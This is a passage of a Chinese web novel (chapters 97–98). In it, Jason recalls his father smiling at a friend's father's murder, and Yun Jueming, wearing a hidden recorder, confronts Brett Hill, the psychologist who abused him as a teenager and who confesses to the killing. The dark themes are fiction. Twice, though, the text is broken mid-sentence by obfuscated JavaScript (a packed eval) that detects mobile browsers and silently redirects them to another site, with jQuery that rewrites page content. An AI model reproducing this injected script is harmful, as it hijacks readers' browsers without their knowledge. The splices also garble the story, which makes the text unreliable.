闪闪发亮的枝形吊灯,上百个灯泡从六米高的天花板如瀑布倾泻而下,将每个从门廊经过的人的头顶都渡上一层不真实的金色,高脚杯边反射的光刺得杰森的双眼发痛,他蜷缩的双腿已经麻木了。那通电话似乎能讲到天荒地老。艾琳娜发出一声惊呼,爱马仕的披肩从她手臂上滑落,她不知所措地抓住了一个角,身体在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041273|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤抖。父亲将要送走的那名政客在缓缓摇头,头上的秃斑仿佛瓷盘般晃动,旁边三三两两的宾客在窃窃私语,哥哥们交换着眼色,最机灵的大哥已经接替了父亲的位置,走上前来与政客搭话。这一幕如无声的雪崩,携着无数年幼的他未能明白却刻印在心的细节旋转着在他脑海中炸开。为什么他无法在这件事发生后面对艾登,为什么他不曾给艾登打过电话,十一年后的杰森在这一刻终于明白。 因为父亲在接听那通电话时露出的笑意。 一个孩子要如何理解这样一件事?杰森懵懵懂懂的回到了床上,直到第二天在早餐桌上他才知道昨晚父亲接到的电话诉说了一个怎样的悲剧。“十七刀,他被捅了整整十七刀诶。”在艾琳娜用颤抖的嗓音跟杰森宣布了艾登父亲去世的噩耗后,他的大哥挑了挑眉毛,手中挥舞的黄油刀仿佛就是凶手手中的那一把,“不管是谁杀了他,都一定很享受这个过程。” “理查德死了,我们也没必要继续跟维尔兰德家继续来往了吧。”二哥意味深长地瞥了杰森一眼,幸灾乐祸地说道,“本来就是不入流的家族,又出了这样的丑闻——” “查尔斯,布伦特,”父亲清了清嗓子,“我们都为理查德·维尔兰德的遭遇痛心不已,是不是?” “这是自然。”大哥和二哥都低声应了一声,于是话题就转移到了飓风丽塔上,而杰森看着自己碗里的炒鸡蛋与培根,却只觉得难以下咽,他只能拿起果汁,大口大口的下咽才能忍住自己的笑意。此时的他要如何打给艾登?如何在询问过程中忍住不发出大笑?要如何让字字句句听起来不残忍?他要如何若无其事地面对他,却说不出除了Hi以外的任何话语,因为不管他说什么听起来都会像是—— “Hi,我听说你爸被杀了,凶手捅了他十七刀。顺便说一句,我爸听说这件事的时候还笑了。” 而我也笑了,因为我知道你再也不会有机会能像从前那样兴高采烈,满心期盼地冲向家人了。 你将会与我一样。 可艾登是他最好的朋友,是他唯一的朋友,是他真正的兄弟,他在乎艾登胜过这世界上其他的一切,胜过从未爱过他的父亲,胜过从未正眼瞧过他的兄长,胜过他拥有的华而不实,从未真正属于他的财富与荣誉。于是他转过头,假装这场谈话不存在,假装他不曾从床上遛下去仰望父亲与兄长们所在的那个世界,假装他不曾在另一个家庭血淋淋的伤口上欢欣起舞,假装他不是一个埃弗里家的怪物,不知道哀悼与悲伤为何物,假装2005年9月19日这一分界线从未存在与他和艾登的友谊中,直到在停车场的那一拳打破了这个假象,直到他意识到他的逃避是如何从一开始就将他与他在这世界上最在乎的人的撕裂开来,直到这一刻,尘封的记忆再度被放进老式的投影摄像机,发霉腐烂的胶片仍然挡不住父亲嘴角那抹笑意的真实,杰森不得不正视那个逃避了十一年的事实,他终于确信,艾登父亲的死亡确实与埃弗里家族——与所有与埃弗里家族息息相关的一切,有关。 97. Chapter·Forty- Four 云决明等黎舒眠和杰森的脚步声完全消失以后,才从灌木丛中走出。他非常小心地遵守了跟踪的黄金法则,与前车保持至少三辆车的距离,疏眠丝毫没有察觉那辆租来的光鲜亮丽的灰色普锐斯——好似每个会趁着自己小孩上兴趣班的间隙去做瑜伽的家庭主妇必然会拥有的车——一直不远不近地跟着她。她没有突然走上导航不会建议的小路,没有提前五百米就亮起转向灯却仍然选择直行,更没有突然转过一个急促又可疑的弯。云决明很确信她不知道自己在这儿。 按理说,他知道黎舒眠将要去哪,实在没有必要冒险跟踪她。但云决明清楚布雷特·希尔一定会监控前来的宾客,他没有见过黎舒眠,可他说不定能嗅出黎舒眠与他之间的联系,从某些蛛丝马迹,比如她低头沉思的模样,或者是她微笑着打量周遭的锐利眼神,意识到她并非又一个懵懵懂懂来到这里的年轻猎物。云决明不确定布莱特·希尔会做什么,但他计算出的每一条可能性都指向一个解决方式——跟着黎舒眠来到聚会地点,吸引布莱特·希尔的注意力,才能最大程度地保障她的安全。杰森是计划外的意外,但云决明并不担心。 然而,即便一切如计划般进行,云决明仍然在听到那嘶哑虚弱的声音时僵住了步伐。一瞬间,某一段他从未尝试回忆的片段涌上心头,那是他刚到美国后不久的某个夜晚,沉重的脚步早已在走廊尽头的房间安静下来,但身体的疼痛还在持续,沿着每一束神经蔓延到心脏,到脑袋,到指尖,到所有他拥有过的快乐记忆。他知道自己应该去清洗,不仅仅是身体,还有衣服,甚至是床单。经验已经让他知道,留下污秽的床单会招致第二天的一顿毒打,经验甚至已经让他知道,要用漂白水去浸泡床单,因为留下的DNA会成为证据,证明一些从来没有在这个房子里发生过的事情确实发生了。于是他咬着牙,如变人后的小美人鱼般走下楼梯——用楼下的洗手间不会吵醒楼上熟睡的人,这是另一个经验让他牢记的教训。就在他抱着湿漉漉的内裤从厕所走出时,手电筒的光穿过后院的落地窗,照在了一只兔子身上,它因为突如其来的光线而僵立在原地,竖直了毛茸茸的皮毛,恍若一座矗立在黑暗中的标本。 第二天,云决明在草地上发现了被吓死的兔子。 而他此刻感觉自己就是那只兔子,僵立在黑暗之中,上千只乌鸦潜藏在身后,正欲展翅飞翔。 “你终于来了,我的小鸟。” 一只手搭上他的肩膀,云决明没有动,那细长滑腻的手指是如此熟稔地找到它曾经千百次抚摸过的骨头轮廓,然后轻柔地扣住。咖啡与烟草的气味就像把动物运到屠宰场时会散发出来的味道一样笼罩住了他。那是恐惧的味道,环保主义和素食主义的倡议者在纪录片里愤怒激昂地大喊道,睁开眼睛,你们这群蠢货,那些被精心包装放在whole food售卖的肉全都被这种气味污染了。你们知道吃下这些肉会有什么后果吗? 他不知道,艾登走过来换了下一个电视节目,“这会让你吃不下我做的糖醋排骨的,”他说,语气如此轻快,几乎让此刻想起有关他的一切变得令人无法忍受,“马上就要开饭了,Ming,马上就好。” 马上就好。他想对自己这么说,录音机藏在最贴身的背心上缝好的口袋里,无声地运作着,只要能录下证据就好,只要—— “你知道我有多么高兴见到你吗?” 布雷特·希尔的声音带着笑意,云决明不需要扭头去看,也知道那个此刻搂着自己的肩膀向前走的男人脸上一定又露出了他那无比擅长的微笑,他的语气如此温柔,充满真情实意,有那么一瞬间甚至称得上是令人怀念。在五百六十七个日夜里,这曾经是云决明汲取力量的来源,是让他能安稳入睡的摇篮曲。 “要见你,并不困难,云。我知道你住在哪里,我知道你去了U大——还是选了心理学专业,是吗?”他轻轻地啧啧了两下,舌头与牙齿碰撞的声音好像蜈蚣爬过潮湿的腐木时发出的窸窣声,“你知道我听说这个消息有多么兴奋吗?我还以为我熄灭了你对这个学科的兴趣呢——看起来并没有,太好了。从那时起,我的小鸟,我就知道总有一天我们会再见面的。” 云决明下意识地想说什么,但布雷特·希尔那焦黄色的脑袋在他的眼角晃动,好像已经知道了他想说什么,那抹笑容是如此刺眼,即便他就像个被人操纵的木偶一样双眼无神地看着前方一望无际的草坪,没有聚焦,也不跟随着那些穿着燕尾服的服务生转来转去,他仍然能瞧见布雷特·希尔的笑容,“不,云,不是我去见你,而是你像现在这样,主动来找我。” “你希望我来见你?”云决明的声音听起来一点也不像他自己的,仿佛是从某个更广阔,更深沉的空间传来的回音,然而支持着他奇迹般能继续在这碎石路上行走,而没有因为心理性高热或应激而倒在地上动弹不得的不是艾登——只是在脑海里冒出他的名字都让心脏有如受炙火灼烧一般的疼痛,所有与艾登有关的一切都必须在此刻被深埋进泥土之下,写下一个宣告死亡的日期——而是他知道有更多受害者这个事实。 长久以来,他以为只有自己一个,他以为他是布雷特·希尔唯一的受害人。 所以他什么都没说,因为他知道强煎案的调查和上诉流程有多么繁琐,所有坚持到最后——甚至不是坚持到最后胜诉——的每一个受害者都可以说是受到了上帝,或者不管在人间使用什么名字的神灵,的深切庇佑。他们要么有着坚定不移支持上诉的亲人和朋友作为后盾;要么有着大发慈悲之心愿意接手这种棘手案件的金牌律师作为攻矛——谁都知道,肯定是强煎犯的家庭能给出更多的钱,想要提高自己的身价或者是知名度的律师甚至会特意为强煎犯辩护;要么就是有着不死不休的毅力,能在败诉后仍然坚持继续自己的人生,耐心地等待像#我选择不再沉默这样的机会来说出自己的故事。 云决明什么都没有。 他有的是他必须按部就班完成学业然后开始赚钱养家的沉重责任;是不支持男性也会被强煎,也会成为受害者的舆论;是心知肚明一切却转头看向另一边的血亲;是有可能会在法庭上被对方律师用来攻击他,从而导致他当年偷渡来美国的母亲被驱逐出境的背景;是可能会被高昂律师费和一再延迟的开庭拖到无可再抵押,不得不被银行收走的,他母亲唯一拥有的财产。 于是,他做了他唯一能做的,也唯一擅长的事情,保持沉默。 他仍然努力了。他当机立断地推开了秦诗,尽管他当时对她所拥有的感情确实接近于爱。秦诗不会去看心理医生,只要切断了与自己的联系,布雷特·希尔就没有任何理由和借口去接近她,伤害她。他以为会吸引布雷特·希尔的是伤口;腐烂熏臭,长满了蛆,鲜血淋漓,脓水安静地在黑暗中流淌。秦诗也拥有着同样的伤口,所以她是如此病态地依赖着他。白天,他们一同忍受霸凌,夜晚,云决明在那狭小闷热,没有空调的卧室中经历过的一切秦诗也同样经历过。在那个年代,年轻的,脆弱的,没有任何自保能力的亚裔移民女性被猥亵的概率高得没有人愿意相信。秦诗只提过那个醉醺醺的叔叔一次,但只有一次也足够云决明了解所有的事实,这是他和秦诗分享的不为人知的最黑暗的秘密,也是他愿意一直容忍秦诗,甚至在如此病态的关系中仍然对她产生了近乎于爱一般的感情背后最隐秘的原因。 但那仍然不够,远远不够,他早该知道这点。 如果他有能力阻止这一切,如果他能保护更多如秦诗一般的女孩,他为什么不去这么做? 艾登会毫不犹豫地去这么做。 “你无法想象我有多么想,”布雷特·希尔语气中的笑意扩大了,“云,我不是说过吗?你是我见过的最独特的男孩,是独一无二的珍宝,没有人会相信我花了多久才等到你——一直以来,我被太多粗俗又吵闹的美国学生包围着,以至于我不得不说服自己这样的孩子是不存在的,或许我必须去阿拉伯,甚至是更遥远的东方才能找到我想找到的那些特质——无与伦比的洞察力,优雅而安静,像那些只能在远东找到的植物竹子一样,你以为它能很轻易地折断,因为它看着是如此的脆弱,如此的纤细,但只有从那些被侵蚀,被撕裂的罅隙中才能窥探到内部的一线天地,才能发现原来内芯是如此的坚不可摧,又是如此的高傲。然而,有一天,你就这样毫无预兆地出现在我面前,云,就像一只受伤的小鸟,从云端落入了我的办公室,满足我所有最深,最隐秘,最不可告人的幻想。这个世界上,还能有谁比我更加幸运吗?” 胃酸一瞬间上涌,无法控制的本能让云决明跪地干呕,苦涩的胆汁冲上喉咙又从鼻孔喷出,像无数黑色羽毛坠落在这干瘦的人形阴影中,上千只乌鸦从他大张的嘴巴中振翅飞出,发出的大笑就像他此刻嗓子中发出的嘎嘎声。原来布雷特·希尔说的是真的。云决明攥紧了拳头,指甲刺入掌心,针刺的疼痛却像小时候得到的小姨的拥抱一般让人安心。被泪水朦胧的视线中,那些回忆是如此清晰,超越时空,不加修饰,每一个表情,每一个眼神,每一个微小的动作,都像是在显微镜下观察一般无处可逃,原来他以为对方只不过是为了让自己觉得特殊而做的一切,都是真的。 但这只让呕吐更加剧烈,一瞬间的幻觉中,云决明感到自己仿佛被倒吊在半空中,内脏被翻到体外,好似已经被放血后开肠破肚的绵羊,绝望像生命走到尽头的行星,绽放出如灰烬般黯淡的光芒。他们的关系并不是从提到了继父对自己做了什么而发生改变的,他们的关系从一开始就已注定,他的和盘托出只是让对方终于找到那被侵蚀,被撕裂,腐烂熏臭,长满了蛆,鲜血淋漓,脓水安静地在黑暗中流淌的罅隙,终于知道要从哪插入钝刀,搅烂血肉。“天啊,先生,您还好吗?”他听见远远跑来了一个侍应生,惊慌地叫喊着,他那清脆而天真的声音说明他完全不知道此时此刻在这座庄园中发生了什么,他或许也是U大的学生,利用假期做兼职来偿还自己的学生贷款,在某个遥远的地方——或许是某个人口才不到3000的小城,有着为他骄傲的家人和一栋充满温暖回忆的房子。快走,云决明无声地嘶吼着,越远越好,快走啊。 为什么被推落深渊,烟灰滚满全身,肮脏得如同一只腐臭死掉的乌鸦的是我,只能是我,而不是别人。 为什么被推落深渊,烟灰滚满全身,肮脏得如同一只腐臭死掉的乌鸦的不能只是我,为什么还有别的女孩们。 “他没事。”布雷特·希尔冰冷地喝止了那个侍应生,他的手一下又一下地温柔地拍着云决明的背。他是如此享受这一刻,云决明在眩晕中意识到这个真相,他无法容忍任何人来打扰他与他。 “我的小鸟,你会感觉好点的。”布雷特·希尔的声音猛然凑近他,几乎要舔进他的耳朵,“你总是会感觉好点的。你总是会从灰烬中爬出,从你那小小的茧里破壳而出,重新拍动你的翅膀——观察这个过程是如此迷人又令人兴奋,只有最有耐心的人才能等到破壳的那一瞬间,看见你无比脆弱又无比坚强的那一瞬间。告诉我,我错过了吗,云?你去参加了艾登·维尔兰德去年春季训练最后一场对公众开放的全场地乱战,我错过了那一刻吗?” 来到这里是一个错误,完全的错误。云决明只能想到这句话,原来他从未离开过那八十六平方英尺的办公室,没有离开过那张舒适的小沙发,没有离开过那黑胡桃木的办公桌,在那如时间静止的二十又三分四十五秒里,他数遍了所有他能看到的纹路,企图猜出这棵树死去时的年龄,是不是如他般同是十六岁。他宁愿不知道这个真相,他宁愿活在幻象里,飘满大雪的纽约街头,栗子蛋糕旋转上升的棕色奶油,伸手可及的吻,漏斗蛋糕簌簌掉下的糖粉,千万人中,你只看见了我。 可看到他的不止有艾登。 艾登会怎么做? 艾登会选择真相吗? “哦,云,别这么难过。”布雷特·希尔咯咯地笑了起来,伸手拂起他的发丝,“这是一个小小的惩罚,你知道的,让你别让别人牵扯进我们之间的关系里——你知道我发现YasmineJ2002不是你的时候有多失望吗?你竟然让我跟一个乏味至极的俗气女孩聊了那么久,才决定亲自面对我。你要到什么时候才能明白?我们从来就不会真正被分开,云,永远不会。” 不,艾登会反击。 艾登不会保持沉默,不会沉默地在半夜下楼清洗床单,不会沉默地开车回家,在浴室里咬着毛巾脱下已经被牢牢粘在皮肤上的内裤。艾登会战斗,即便没有任何可能性,他仍然会战斗。 他也必须这么做,为了秦诗,为了疏眠,为了艾莉,为了无数无法揭露自己姓名的女孩。 为了他自己。 为了艾登。 布雷特·希尔是因为他,才注意到艾登的吗? 这个念头倏然间溜进了他的脑海,快得让他无从寻找来源,却又像线头一样揭露了幕布一角。布雷特·希尔能准确地说出去年春季训练最后一场对公众开放的全场地乱战这一个细节,说明他在那一刻才能确定艾登对他的特殊性。 为什么偏偏是那一刻。 如果布雷特·希尔是因为他,才注意到艾登的话,这一刻未免太早。不如说,就连云决明自己,也直到那一刻才知道艾登之于自己的特殊性。如果说他是通过自己换专业的行为推断出这一点的话,他是在全场地乱战之后才去找的学业顾问,从这个行为不能百分百反推出全场地乱战一定是一个转折点。而云决明了解布雷特·希尔,如果没有百分百的把握,他绝不会在此刻说出一个如此精准的时间点。 除非—— “你杀了艾莉的父亲这一点,难道还算不上惩罚?” 这是一场豪赌,这是一场博弈,但是云决明只能放手一搏。他知道自己说过布雷特·希尔不符合连环杀人犯的侧写,那样一个瘦弱得人形竹节虫般的男人,甚至此刻都没有将他从地上拉起的力气——怎么可能无声无息杀掉那么多身强力壮的男人而全无反抗痕迹?但眼下所有的证据都指向这一点,如果布雷特·希尔是杀人凶手,如果他知晓一切纠缠艾登的阴影的形状姿态,那么他会做出这个判断并不奇怪。拥有相似伤口的人总会被彼此吸引,更何况他们的命运早在停车场与办公室便已缠绕成环,往后种种,不过当日回响。 “我还在想,你什么时候会跟我说这句话呢。”布雷特·希尔转为大笑,突然猛地将云决明从地上拉了起来,力气大得不可思议——很好,另一个瞬间被证实的证据,云决明心想,“如果我们要讨论这个话题,我亲爱的云,”布雷特·希尔亲切地低声说道,“我可不希望你是跪在一滩呕吐物里,不管怎么说,那都实在太不优雅了。我是一个做事向来讲究细节的人,你也知道这一点——或许除了面对你的时候,你总有办法让我发狂,云,只有那一次我失控了,不然的话,我无论如何也不会直接涉在你的身体里。” 呕吐的感觉又涌上喉头,云决明多想此刻挣脱开他的牵制,让自己一头撞在面前那大理石花坛上,或许下半辈子他会成为在精神病院里痴傻笑着的其中一个患者,每天被护士推到湖边看鱼,冷漠地听着她们讨论那个总是来看他的黑发英俊男人,那样是不是会快乐许多?是不是对所有人来说都是更好的选择?但他抑制住了这一冲动,就像硬生生忍住了一场高朝。艾登和他一直以来苦苦追寻的真相此刻终于大白,为什么他没有如释重负,为什么听到布雷特·希尔如此轻松就承认罪行,他没有感到一丝快乐和痛快?在黑暗与绝望之间,他的思维被逼成一条细细的线,只有只言片语从理智中落下,还有艾登,“整整十七刀。”云决明虚弱地说道,“这并不优雅。” 布雷特·希尔耸了耸肩,他带着云决明绕开了宅子,向后院走去,“有些时候,想要制造出痛苦,就需要一些不那么优雅的办法。但是十七是一个优雅的数字,当艾登·维尔兰德满17岁的时候,他会痛苦地记起这是令他父亲死去的数字;当他按下电梯的十七楼的时候,他的呼吸会停止一瞬间;他的心脏每跳动十七下,他就会死去又重新活过来,这是多么诗意的一种折磨啊。就算全世界都不能理解,我也知道你能理解的,云,告诉我,你还会在梦里听见沉重的脚步吗?你会在半梦半醒之间,嗅闻到咖啡与烟草的味道吗?” 冷静,专注。 艾登。 “你为什么要这么做?” “你问的问题够多了,小鸟。我更想听到你悦耳的声音,告诉我你已经知道了多少。让我看看你主修心理学以后都学到了些什么——可别让我失望,云,我永远都能看穿你的谎言。” 不能拒绝。如果拒绝的话,他可能会选择隐瞒事实。 艾登。 于是他从小杰克逊的父亲说起。这是布雷特·希尔希望的。恍惚间,一切似乎又回到了数年前,他会大声朗读自己找到的一些心理学案例,在啜饮咖啡的间隙里长篇大论着自己的分析,而布雷特·希尔会用充满赞赏的笑容望着他,鼓励他不断挖掘,挖掘出所有细节背后扭曲又黑暗的心理动机。云决明用尽全力保持着自己的声音的平静,斟字斟句地挑选着客观的词语,但他确保每一次说完一段都会向布雷特·希尔确认,只有等他承认他们的猜测是对的以后才会继续往下说。明明此刻还是初春,约州仍然寒冷无比,云决明却能感觉到汗水从胸口一滴滴流下,勾勒出录音机每一个细微凸出的零件的轮廓,他的心脏仿佛与那安静运作的电池相连,那是唯一维持他生命的来源,无数的齿轮大小相接,电流在正反极无声流转,血液缓慢从显示已经记录了多久时间的屏幕下淌过,胸腔扩张包裹塑料壳身,又坍缩落下。 艾登。 “你想知道科尔·埃弗里为什么要帮我?”布雷特·希尔轻笑出声,好像这是一个愚蠢的问题,“看来U大的心理学也不过如此,我真不该放心让那些庸师教导我最有天赋的学生。科尔·埃弗里是个蠢货,云,他是那些空有力量却不知道如何利用的平庸政客之一,但是历史的规律总会让权力落在这些白痴的手里,因为——真正聪明的人,比如说我,比如说你,我的小鸟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想想艾登。 艾登。 说出这个名字,就仿佛能获得力量。 布雷特·希尔的笑容越发恶毒,“如果没有艾登·维尔兰德,你今天会主动来找我吗,小鸟?你会主动飞来我的身边,就像过去充满好学心那样,叽叽喳喳地问我这些问题吗?如果我没有杀死理查德·维尔兰德,你觉得艾登·维尔兰德,U大的橄榄球明星,绝对的万人迷,万众瞩目的体育宠儿,会多看你一眼吗?我当然不是说我十一年前在那个停车场杀死理查德·维尔兰德时能预见到今日发生的一切,但一切都是因果。云,你是中国人,你肯定听过因果,听过前世的罪孽和来世的轮回——但我更相信的是这一辈子,所有我做过的事情最终让你站在了我面前,最终让我得以看见硕果是如何腐烂新生的刹那——此刻,云,我会说,那就是我这么做的原因。” “在遇到我之前——”云决明咬着牙说出这句话,布雷特·希尔笑得更愉悦了,“的原因是什么?” “那纯粹只是一个巧合。作为我最有天赋的学生,云,你一定明白,没有比观察痛苦更能明白人类心理的方式了。哈里·哈洛为什么要让分开小猴和母猴,斯坦利·米尔格拉姆为什么要强迫受试者去电击无辜的人,菲利普·津巴多为什么要让人扮演囚徒与看守?因为我们都知道,唯有在痛苦中才能窥探人性。很自然,我去参加了葬礼,但是很有意思的一点是——孩子并不理解哀伤,当成年人在旁边抹着眼泪不能自已时,你只能看见孩子呆呆地站在那儿,就算有些流露出了悲伤,他们也是遵守自己被教导的社会规范而展露,并非是真心的。‘要怎么才能让他们真的感受到痛苦呢?’我当时一直在思考这个问题。云,你觉得我们应该怎么做?” 云决明全身都在颤抖,但他的声音仍然保持了平稳,“你告诉他们,他们的父亲之所以会去世,全都是因为他们的错。如果他们从未出生,那么他们的父亲也绝不会去世。” “父亲这个角色,是多么有意思啊,我的小鸟,”布雷特·希尔意味深长地笑了,“我曾经接待过一个病人,那是很久以前的事情了,我当时还在读本科,在一间小诊所里实习。本来我是没有资格接待他的,但我一眼就看出来他的特殊之处,于是我塞给他一张假的名片,告诉他我是资深的心理医生,如果他愿意私底下见我,我可以给他走pro bono。于是他就这么告诉了我他的故事——你瞧,云,他有一个传统意义上的非常成功的白人父亲,但是他那下贱的母亲却胆敢背叛这样的父亲,出轨了另一个低贱的黑人,让他一辈子都活在自己的父亲对自己的血统的怀疑中。他的父亲因他才能成为父亲,却又因为成为父亲而滋生无数痛苦,因为一个父亲生来的要赎的罪就是无从得知自己的孩子的血统的真实性。在他八岁的时候,他的父亲试图将他掐死——‘如果你从未出生就好了,’据说这是他即将被掐死的前一刻他的父亲在他耳边说的话。他独自冰冷地躺在客厅的地板上,灵魂注视着那因父亲的原罪也同样有罪的自己,死了好几个小时,直到他母亲回来。他活过来了,但他的父亲却消失了,他从此成了一切罪行的代言。‘如果不是因为你,你的父亲不会离开,’他身边的每一个人都如此告诉着他。一个没有父亲的儿子还能称之为儿子吗?他困惑了很久,直到他遇到我,他才明白,将一个父亲从儿子身边剥夺意味着什么,那会将一个孩子的所有的自我认同与身份都剥夺,这份痛苦会变得如此真实而具象化,终其一生这些孩子都会恍如没有皮的活人般行尸走肉地活在这个世界上。而我正是从他的痛苦中汲取了灵感,意识到这种痛苦是可以散播的,是可以传染的,这是多么美好的一件事啊,云,你不也明白着这种痛苦吗?“ 他不能假装自己听不懂布雷特·希尔的话是什么意思。在来到美国以后的很长一段时间,他都是一只脱离了舰队,茫然无措的,没有护罩的宇宙飞船,在陌生的,没有坐标的虚空中漂浮,但那不仅仅是因为他被从如同自己的父母一般的小姨和姨夫身边带走,也是因为他被从自己的祖国带走,他被剥夺的不仅是家人,还有母文化(mother culture),以及所有他熟知的一切。如果这也算父亲的一种意象化,那他确实明白这种真实,让人无声呐喊却又无从嘶吼的痛苦。 “云,就像你和我一样,这个世界上也有很多其他人认为这是一件非常美好的事情,尤其是那些拥有得太多,以至于生活所有一切都仿佛不过是电脑模拟出来的数值的人,他们需要真实的痛苦,是哪怕吸了纯度最高的粉也能让他们从幻觉中察觉到刺痛的痛苦,是用金钱买不来也模拟不来的痛苦,不是那种瞬间爆发的痛苦——不然哪个暴发户都能享受了,只要随便抓来一对母子,然后在任意一个人面前杀掉另一个就好了——而是经年累月积累的,犹如上等的美酒发酵以后那种痛苦。我的谋杀能稳定地为这些人提供这种痛苦的产物,数量并不多——但正因为如此才弥足珍贵,才是无可比拟的享受。” 布雷特·希尔走上前一步,云决明强迫自己继续站在原地,强迫自己不要转身逃跑,强迫自己不要立刻崩溃,他的忍耐在这一刻被无限拉长,就像圣地前缓慢无声淌过的河流,无数个世纪以来,数不清的僧人在这里跪倒,祈求神明赐予自己继续忍耐人世间苦难的力量,脑袋磕在石头上,膝盖陷在泥土当中,细细的水流夹杂一丝粉红色又转瞬即逝,就如同稍纵即逝的神迹。他忍耐住了,没有在布雷特·希尔用打量某种远在人类文明出现以前留下的那种质朴又伟大的艺术品般的眼神望着自己的时候退缩。他想说些很重要的事情,云决明意识到了这一点。 “但我把最好的,最美妙的,最珍贵的痛苦留给了我自己。”布雷特·希尔的声音如此轻柔,云决明几乎要怀疑录音机是否能接收到他的话语,“你瞧,云,那些人想要的只是毁灭,他们想要毁灭这种痛苦,摧毁这种痛苦,甚至是通过这种痛苦制造出更大的痛苦来证明自己拥有的权力和力量的真实性。但我想要的不一样,这就是为什么我等待了如此之久,只为了最完美,最契合的你的出现。我想要看到的,是凤凰涅槃,是痛苦的灰烬中重新燃起的火焰,你知道这火焰有多美吗,我的小鸟?我可以为之去死,我可以为之付出一切所有我拥有的。在你十六岁那一年,我亲手将你摧毁,就在你最爱我,最信任我,最依赖我的那一刻,我伸手将你推入深渊。然后我等待着,耐心地等待着,几乎就像等待你出现一样耐心,等待你卵生,虫孵,皮蜕,蛹化,成蝶的那一刻。而我终于等到了,在这一天,在这一刻,我最亲爱的,最美丽的云,我已经没有任何遗憾了。” 他的手放在了云决明胸口上,那一瞬间,云决明的心跳如行星爆炸般震耳欲聋却又无声无息,让他几乎听不清从远处传来的警笛声。 “为了感谢你,云,我决定送给你一份礼物。” 他露出了云决明初次见到他时一模一样的笑容。 “你不需要这个,云,我会自己告诉他们一切的。” 98. Chapter·Forty Five 确信了真相的这一刻,杰森知道他必须立刻作出决定。 除非他跟黎疏眠现在就离开这里,不然迟早都会有熟人认出他,更不要说歌西莱恩。为了不让黎疏眠引起她的怀疑,最好的办法就是立刻推开她,转身拿起一杯威士忌,用虚伪冰冷的笑容修饰五官,假装自己仍然是那个无足轻重的埃弗里,毒瘾缠身,身败名裂,死不足惜,出现在这里仅仅是因为理查德·科迪想要维持与埃弗里家族的良好关系。就算他突然在众目睽睽下消失得无影无踪,他的父亲和兄长也不会觉得难过,他过去在U大兄弟会和橄榄球队结交的那些所谓朋友不会觉得惋惜,艾登不会在乎,而黎疏眠—— 或许她会记得他,在将来的某个时刻,她或许会出版一本书讲述她是如何揭发爱泼斯坦和他的性|爱帝国,还有约州黑暗的政治斗争,并得以将陈年的错案沉冤得雪的过程。而他的名字也许能在其中的某几页出现,与她的名字就隔着几行字的距离,甚至能亲密地挨在同一行。那也是一种永生,哪怕人类的历史走到尽头,所有冰川融化,太阳爆炸,整个银河系都坍缩成吞噬一切的黑洞,也有某一组存在于电波中的数据忠实地记录着这一切,微弱得无法被任何存在于别处的文明捕捉,却依旧存在。 那就足够了,杰森·埃弗里,那就足够了。 他露出悲哀的苦笑。 “是的,只要被歌西莱恩选中,就能去楼上。”他好似用尽一生的气力才让自己松开手,仿佛随之一同被抽走的是无数个平行宇宙中无数次他擦肩而过的另一种人生。其中会有那么一个是杰森与黎疏眠得到童话般的美好结局的吗?哪怕只有一个?让他知道如此堕落不堪的自己也曾有可能触碰光芒?“如果发生了什么事,”他强迫自己看着黎疏眠的双眼,看着那双深棕色到近乎漆黑,宛若宝石,闪烁着坚定光芒的双眼。爱意如火山绝望喷涌而出,几乎让他控制不住自己想要吻上去,“按下火警警铃,马上就会有警车和火警过来,防火通道的锁也会自动打开。” 他猛地转过身。就有那么刚好,一个年轻的侍应生端着两杯加冰的威士忌路过,他端起一杯,神色转为恰到好处的厌倦与空虚,刚好就是毒瘾得到满足直到下一次欲望再度被唤醒时的倦怠期会有的表情,是那些认识他的人期待在这里见到他时他应该表现出的模样。 他不该担心她,杰森知道这一点,蝼蚁怎可担忧参天树木的命运?如果黎疏眠是来这里寻找艾登父亲的真相,那她应该做好了万全的准备。担忧,他自嘲地笑了笑,完全品尝不出嘴巴里酒液的味道,甚至感觉不到任何刺激,这个词从一个白人男性的嘴里对一个亚裔女性说出来,是多么的傲慢啊。那仿佛在假设对方会在一个错误的时间出现在一个错误的地点,或者对方会手足无措,说着不流利的英语,永远无法清楚地表明自己的意图,只因为全然不熟悉这片土地上的文化,而他是这个国家行走的神祇,所有规则的参与者,特权如同他随手披上的茄士咩大衣一样寻常。他不该担心她。而他要是有能力能把她从以她的头脑和能力都无法摆脱的境地中拯救出来,就不至于沦落到需要定期向理查德·科迪讨要毒品的地步。 但他忍不住这么做,像一种动物无法克制的本能。他记得自己在高中的性与健康课上大声地嘲笑过试图向同学们解释为什么母亲在催产素的作用下会产生与婴儿紧密联系的感情的普蒙克老师。那节课的主题就叫做“本能”。“也就是说,”他讥笑着,冷酷地瞪着企图保持冷静,但脸已经涨得通红的那个四十多岁的女人,“女人就跟那些发情期的动物没什么区别是吗?连一点点荷尔蒙都抵御不住,就像——”他做了一个极其下流的手势,整个班上的男生都大笑了起来,只有艾登没有。 